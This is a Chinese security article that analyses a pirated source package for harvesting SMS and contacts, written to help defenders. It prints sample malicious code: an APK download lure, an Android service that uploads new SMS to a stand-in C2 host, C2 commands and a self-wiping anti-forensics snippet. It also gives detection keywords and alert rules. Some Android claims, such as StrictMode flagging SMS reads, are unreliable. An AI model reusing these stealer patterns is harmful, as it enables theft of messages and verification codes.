简介:一套演示APP读取短信与通讯录能力的网站源码项目,专注移动端权限调用与数据展示逻辑,适合开发者、安全测试人员用于学习隐私合规与接口实现。压缩包大小为16.18MB,共1973个文件,以PHP、JS、CSS等Web端代码为主,包含767个JS、448个PHP、146个CSS文件,同时附带APK安装包、SQL数据库脚本与C源码,便于整体联调与二次开发。已有391人学习下载。资源经过站长亲测,实用性有一定保障;从源码可看到短信与联系人读取的权限申请流程、典型接口写法以及前端页面如何展示敏感数据,结构清晰、模块完整。需特别注意,此类数据获取必须遵循相关法规并取得明确授权,因此该包更适合作安全分析、合规测试与教学研究场景。
1. 收到的“站长亲测”源码,先别急着上服务器
很多做站、做推广、做私域运营的同行,手里都流转着这样一类压缩包:标题写着“APP录获取短信+通讯录网站源码【站长亲测】.zip”。第一反应是“好东西”,第二反应才是“这里面到底装了什么”。我要直接说结论:这类源码九成以上带有后门、木马或第三方数据回传接口,真正的技术含量不在业务逻辑,而在如何让你在不知情的情况下成为数据中转站。标题里的“站长亲测”四个字,本身就是一种社会工程学话术,目的是降低你的警惕,让你跳过安全审计直接部署。
需要明确的是,“获取短信+通讯录”这类描述已经踩在了《刑法》第253条之一侵犯公民个人信息的红线上。作为IT从业者,看到这类项目正确的做法不是想着去部署它赚钱,而是把它当作一个安全样本,用逆向分析和代码审计的思路去拆解它的攻击手法,从而加固我们自己开发的合法应用。这篇文章不会教你如何搭建和运营这样的灰色平台,而是用安全研究员的视角,手把手带你把这类恶意源码的伪装、窃取链路、回传机制和自毁策略全部撕开,并且给你一套可复现的代码审计方案。
2. 拆解“.zip”里的骗局:源码结构、伪装手法与三秒定性的静态扫描
拿到任何一个来路不明的源码包,第一件事永远不是解压,而是先斩断它的执行链路。常见做法是:先校验哈希值留证,再在隔离的虚拟机或Docker容器里解压,最后用静态扫描工具过一遍。这类“短信+通讯录”源码包通常包含Web管理后台、API接口、以及一个伪装成APP壳的H5引导页,结构上一般遵循以下布局。
2.1 先看目录和入口文件,判断这是不是完整的“钓鱼套件”
├── admin/ # 后台管理目录 │ ├── index.php # 后台登录入口 │ └── config.php # 数据库及密钥配置 ├── api/ # 对外数据接收接口 │ ├── receive.php # 接收APP端上传的数据 │ └── upload.php # 接收文件或图片 ├── assets/ # 前端资源 ├── install/ # 安装向导 │ └── lock # 安装锁文件 └── index.php # 伪装落地页或跳转逻辑以PHP站点为例,打开index.php你会看到类似header('Location: /admin/');的代码,这是最基础的跳转伪装。真正危险的在api/目录下,receive.php往往直接操作数据库把POST请求里的数据写入MySQL,而不做任何签名校验。这就是三秒定性的起点:如果一个接口无条件接收手机号、短信内容、通讯录姓名和电话号码,而且没有鉴权Token,那它就是恶意数据采集端。
2.2 用字符串扫描快速定位“短信转发器”和通讯录上传逻辑
不要一上来就装复杂工具,先使用strings命令或者直接grep关键字做一轮全目录扫描,可以快速锁定核心恶意函数。
# 在源码根目录执行字符串扫描,寻找敏感关键词 grep -rn -E "getSms|readSms|contacts|address_book|sim_card|telephony|SMS_DB|content://sms" --include="*.php" --include="*.js" . | head -50这段命令的作用是在所有PHP和JS文件里递归搜索短信读取、通讯录读取相关的系统API关键词。之所以用content://sms这个URI,是因为Android系统内容提供器(ContentProvider)的短信数据库地址是固定的content://sms,恶意APP获取短信权限后就是从这个地址读取数据的。搜索出来的文件清单,就是后续重点审计的对象。
参数说明:-rn表示递归搜索并显示行号,方便回溯;--include限定文件类型,避免进入node_modules或vendor目录刷屏;head -50截取前50行输出,防止恶意样本故意填充海量垃圾信息掩盖真实代码。如果搜索结果里有文件同时包含了getSimSerialNumber()和getLine1Number(),那这就是一个标准的双卡手机信息窃取模块,前者读IMSI,后者读手机号码,这两个值通常被拼接成用户唯一标识。
2.3 识别“自定义短信验证码”回传接口:网关侧如何辨别正常流量和恶意报文
这类源码最常见的功能是“自定义短信验证码”,也就是攻击者通过后台自定义任意内容的短信发送给受害者手机,诱导其填写验证码。正常的短信验证码接口通常有频率限制和模板ID校验,但恶意接口直接调用了短信猫(GSM Modem)或第三方短信平台HTTP API。
// 恶意代码片段示例,通常隐藏在 api/send_sms.php $target_number = $_POST['phone']; $message_content = $_POST['content']; $app_key = 'xxxxxxxxxxxxxxxx'; // 硬编码的第三方短信平台密钥 $url = "http://api.sms-provider.com/send?key={$app_key}&phone={$target_number}&content={$message_content}"; file_get_contents($url);这段代码的典型特征有三个:第一,$app_key以明文硬编码方式写在PHP文件里,说明作者根本不在乎泄露,因为这是批量跑量的马甲账号;第二,$target_number和$message_content完全可控,没有模板变量替换,甚至可以发送钓鱼链接;第三,使用file_get_contents这种同步阻塞方式发送短信而不做队列处理,一旦短信平台响应慢,整个PHP进程就会挂起,这也是识别恶意流量与正常业务流量的分水岭——正常业务必然引入消息队列削峰,恶意脚本没有这个考虑。
提示:如果所在企业有自建短信网关,建议在网关上配置关键字过滤规则,凡是请求参数里同时包含
getSms、readContacts、content://字样的报文直接丢弃并告警。
3. 从触发方式到持久化:分析“半自动人工”与“全自动远控”的完整攻击链
理解了源码的静态结构之后,下一步就要看它如何被触发、如何运行、如何在目标手机上悄悄工作。根据真实样本的行为特征,这类源码的触发逻辑分为半自动和全自动两种模式,其背后的服务器交互设计截然不同。
3.1 半自动模式:诱导用户下载并安装带“通讯录权限”的安卓应用
源码包里的app/目录通常放着一个未签名的APK文件,或者只能引导用户去指定网址下载的HTML页面。这种模式需要受害者主动操作,所以代码里充满了话术模板。
// 诱导页面中的典型脚本,常见于 js/guide.js function downloadApk() { var phoneType = detectPhoneType(); // 通过UA识别iOS还是Android if (phoneType === 'Android') { window.location.href = 'http://恶意域名.com/update/app-release.apk'; } else { alert('请使用安卓手机扫码下载体验,iPhone暂不支持'); } }这段代码没什么技术含量,但它代表了攻击链条中最难突破的环节:如何诱导用户授权。恶意APK运行后,会弹窗请求“读取短信”和“读取联系人”权限,由于Android 6.0以上的运行时权限机制,用户必须手动点击“允许”。攻击者在APK里通常会用一个假的美化相册或清理工具界面作为掩护,让用户以为授权是功能所需的正常步骤。
3.2 全自动模式:服务端下发指令,APP端“自动转发”短信内容
更高一级的样本会在APK里植入前台服务(Foreground Service),通过服务端API轮询指令,实现“短信转发器”功能。
// Android端恶意服务示例,类名为假装系统服务的 FakeService.java public class FakeService extends Service { private static final String CONTROL_SERVER = "http://c2.example.com/api/get_command"; private static final String UPLOAD_URL = "http://c2.example.com/api/upload_data"; @Override public void onCreate() { super.onCreate(); // 注册内容观察者,监听系统短信数据库变化 getContentResolver().registerContentObserver( Uri.parse("content://sms"), true, new SmsObserver(new Handler())); } private class SmsObserver extends ContentObserver { public SmsObserver(Handler handler) { super(handler); } @Override public void onChange(boolean selfChange) { // 查询最新一条短信并上传 Cursor cursor = getContentResolver().query( Uri.parse("content://sms"), null, null, null, "date DESC limit 1"); if (cursor != null && cursor.moveToFirst()) { String content = cursor.getString(cursor.getColumnIndex("body")); String sender = cursor.getString(cursor.getColumnIndex("address")); // 通过HTTP POST提交到C2服务器 uploadData(sender, content); } super.onChange(selfChange); } } }这段Java代码最阴险的在于使用了ContentObserver,一旦短信数据库有任何变动(收到新短信、删除短信),onChange方法就会被系统自动回调,整个过程不需要用户打开APP,也不需要任何前台界面提示。date DESC limit 1这个SQL语句限定只查询最新一条,目的就是为了精准抓取验证码短信,很多平台的重置密码接口只要提供验证码就能绕过账号密码验证。
与C2服务器交互的CONTROL_SERVER通常使用域名或IP直连,流量特征明显,因为默认没有加密,抓包直接能看到ASCII文本中的get_command和响应值。
3.2.1 服务端下发的“指令集”与心跳包机制
全自动远控模型的完整链路为:手机开机 → 服务自启动 → 向C2发送“上线通知” → 进入while循环每X秒拉取一次命令 → 执行命令并回传结果。控制端指令通常非常简单:
{"cmd":"upload_all_contacts","params":{}} {"cmd":"upload_installed_apps","params":{}} {"cmd":"start_forward","params":{"target_number":"138xxxx"}}其中start_forward指令开启了短信自动转发,之后该手机收到的所有短信都会实时复制一份发送到指定号码,这就是所谓的“监控机”模式。
注意:任何合法应用的权限申请必须最小化,同时需要在应用商店隐私政策中明确告知数据用途。如果你发现自己的APP被安全厂商标记为恶意,优先检查代码里是否出现了 ContentObserver 监听 SMS 数据库的模式。
4. 反查思路:如何在渗透测试里验证你拿到的源码是不是“带毒”的
这一章针对的是部分安全从业者的场景——你手头拿到了一个所谓“站长亲测”的源码包,需要判断部署后会不会被反噬。专业的做法是搭建一个蜜罐环境,用动态调试去证实恶意行为。
4.1 准备隔离环境,用 Docker 跑通 PHP 后端的调用链
不要直接在你的主力服务器上解压运行,无脑操作的下场就是自己被拖库。使用 Docker 创建一次性容器,挂载源码目录,然后启动一个干净的 MySQL 实例。
# 创建隔离网络 docker network create malware_lab # 运行MySQL容器,初始化空密码并创建数据库test_db docker run -d --name sql_sandbox --network malware_lab \ -e MYSQL_ALLOW_EMPTY_PASSWORD=yes \ -e MYSQL_DATABASE=test_db \ mysql:5.7 # 运行PHP Apache容器,挂载恶意源码到/var/www/html docker run -d --name web_sandbox --network malware_lab \ -p 127.0.0.1:8080:80 \ -v /path/to/malicious_source:/var/www/html \ php:7.4-apache以上命令的作用是搭建一套完全隔离的Web蜜罐。--network malware_lab确保容器间互相通信但与外网隔离;-p 127.0.0.1:8080:80把容器80端口映射到宿主机的127.0.0.1地址,避免局域网内其他主机访问到这个蜜罐。数据库配置预设了test_db,目的是让源码的install向导能顺利执行,进入后我们能直观看到它的数据库建表语句。
4.2 用 tcpdump 和 netstat 观察容器启动后的外联行为
源码安装完成后,打开浏览器访问http://127.0.0.1:8080/,此时不管前台上报什么错误,后台的恶意代码可能已经开始工作了。容器内外联行为的检测命令:
# 在宿主机上抓取docker网桥流量,过滤非本机IP的外联 sudo tcpdump -i br-xxxxxxxx -nn -A 'tcp dst port 80 or tcp dst port 443' > malicious_traffic.log # 查看容器内是否有可疑进程连接了外部IP docker exec web_sandbox netstat -ant | grep ESTABLISHEDbr-xxxxxxxx是Docker网桥接口名,用ip addr查看具体名称。第一条命令tcpdump实时抓取所有出站TCP流量,-A参数以ASCII格式显示数据包内容,可以直接看到PHP代码里file_get_contents发出的目标域名。第二条命令检查当前时刻的TCP连接情况,如果发现已经建立了到未知IP的持久连接,几乎可以确定源代码里藏着反向代理后门或数据回传定时任务。
4.2.1 定时任务里的“自毁”痕迹:警惕篡改文件和数据库清理逻辑
多数恶意源码有一个共同特点,那就是会在某个时间点自我清理。查看config.php和admin/下的计划任务脚本,常见代码逻辑是:
if (time() - filemtime(__FILE__) > 7 * 86400) { // 删除当前目录全部文件并清空数据库 array_map('unlink', glob('*.*')); unlink(__FILE__); }这段代码挺流氓,它以文件最后修改时间为基准,如果超过7天就自动抹掉所有痕迹。这种做法的主要目的是反取证:站长即便发现自己被骗,也不好举证,因为证据链已经被破坏。
5. 让“短信转发器”变成坚固的正面防御:数据流向监控和基站位置统一
写到这里,这篇文章的视角需要转回来了。我们不能只停留在“分析恶意源码”层面,还要给出真正对IT从业者有正面价值的加固方案——也就是把这套短信+通讯录权限体系变成异常数据流向监控系统。这非常适合公司内部风控系统和开发团队自建移动端安全管理体系参考。
5.1 自建移动端合规基线:用StrictMode检测APP潜在的短信读取行为
在Android APP开发中,官方提供了StrictMode这套线程策略检测工具,可以全局监控主线程上是否有网络请求或磁盘读操作,从而第一时间发现代码中针对短信、通讯录数据库的异步读取。
public class SecurityApplication extends Application { @Override public void onCreate() { super.onCreate(); if (BuildConfig.DEBUG) { // 设置线程策略,检测主线程上的文件读写和网络IO StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder() .detectAll() .penaltyLog() .penaltyFlashScreen() .build()); // 设置VM策略,检测内存泄露和SQLite对象未关闭 StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder() .detectAll() .penaltyLog() .build()); } } }这里的参数含义要注意:detectAll()开启StrictMode能检测的全部项目,包括磁盘读、磁盘写、网络访问、SQLite对象、Activity泄露、实例数量越界等;penaltyLog()将违规信息输出到Logcat日志;penaltyFlashScreen()在调试设备上闪屏提示严重违规。这段代码的意义是建立“红线墙”:如果你的音视频会议、运动健身类APP因为某个历史遗留版本突然请求了READ_SMS权限,StrictMode的日志里会立刻出现Detected disk read path或Detected network usage警告,测试人员的移动端测试机就能迅速捕获并上报。
5.2 把通讯录上传改为差分同步,降低数据库读写压力同时保留审计
合规场景中,我们确实可能需要同步通讯录来做“好友匹配”功能,正常的做法是差分同步加加密哈希,而不是把整个通讯录明文拖走。
# 应用上传通讯录的哈希版本号,服务端只计算增量 import hashlib, json def generate_contacts_payload(contacts_list, last_sync_version): """ 参数说明: contacts_list: 本地通讯录原始数据列表,每个元素是 (姓名, 手机号) 的元组 last_sync_version: 上一次服务端推送的增量版本标记,字符串类型 返回值: 只包含增量数据的字典 """ current_version = hashlib.md5( '_'.join([name + phone for name, phone in contacts_list]).encode() ).hexdigest() if current_version == last_sync_version: return {'version': current_version, 'delta': 'NO_CHANGE'} # 如果版本不一致,这里可以按联系人姓氏首字母或最近修改时间做分片 delta_data = [ {'name': name, 'phone': phone} for name, phone in contacts_list[:50] # 每次最多同步50条,避免流量峰值 ] return {'version': current_version, 'delta': json.dumps(delta_data, ensure_ascii=False)}这段Python代码实现了通讯录的增量同步思路,核心逻辑是维护一个基于通讯录全部内容计算出的MD5版本字符串。last_sync_version从服务端获取,如果一致则返回NO_CHANGE,避免无谓的流量浪费;如果版本不一致,则本轮先取前50条联系人上传,防止弱网环境下的超时。这种方式不管从数据安全角度还是从手机端性能角度来看,都比恶意源码里的“一次性全量上传”不知道高到哪里去了。
5.3 验证手段:在局域网内用Fiddler抓包验证短信和通讯录传输是否合规
最后一步是部署验证。移动端开发同事常用的工具是Fiddler或Charles,这里以Fiddler为例,说清抓包时的配置逻辑和观察点。
# Fiddler 开启远程连接监听 8888 端口,配置手机代理为 192.168.1.100:8888 # 生成证书并下载安装到手机,使HTTPS流量可以被正常解密查看 fiddler.exe /remotewebservice抓包的重点判断标准是:content://sms的URI是否出现在任何一条请求的路径或者证书验证逻辑中。如果出现,说明APP在尝试直接读取系统短信数据库,这在合规APP中几乎是不允许的(只有银行转账短信提醒等少数场景拿到用户高权限授权后在处理)。另外一个观察点是 HTTPS 证书指纹,如果手机设置了Fiddler抓包代理后APP立刻断网或报证书错误,说明APP做了SSL Pinning(证书固定)防护,这种保护机制通常用于金融类应用对抗中间人攻击,需要开发同事先注入白名单才方便调试。
提示:如果你的手机需要导出短信做备份,推荐使用小米或华为系统自带的“一键换机”功能,或者使用官方云服务,不要相信任何需要“获取短信+通讯录”权限的第三方工具,从源头上堵住信息泄露。
5.4 网络安全运营视角:让服务端自动告警“数据批量拉取”
从前面的代码里能看到,无论恶意APP怎么伪装,它上行的数据模式始终有别于正常用户。安全运营岗位的同行可以在日志分析平台(如ELK或Splunk)里设置如下检测规则——针对同一IP或同一设备ID在短时间内频繁请求POST接口的行为:
# Elasticsearch query DSL,用时间窗口聚合统计通讯录上传频率超限的设备 { "query": { "bool": { "filter": [ {"term": {"request_path.keyword": "/api/upload_contacts"}}, {"range": {"@timestamp": {"gte": "now-5m"}}} ] } }, "aggs": { "device_count": { "terms": {"field": "device_id.keyword", "size": 10} } } }这段DSL查询的是:最近5分钟内,所有调用了/api/upload_contacts接口的请求,按device_id分组计数。如果任何一个device_id的doc_count大于100,就是危险信号,因为正常用户在手机端同步通讯录操作频率不可能如此之高。部署这类告警时需要注意参数调整:size: 10只返回上传次数最多的10个设备ID,避免告警邮件被刷爆;时间窗口now-5m适合发现爆发式拉取,如果要捕获分散式慢速拉取,建议改成now-1h并将阈值降为20。这种基于行为基线的封锁策略,是防御灰产批量检测的底线。
本文还有配套的精品资源,点击获取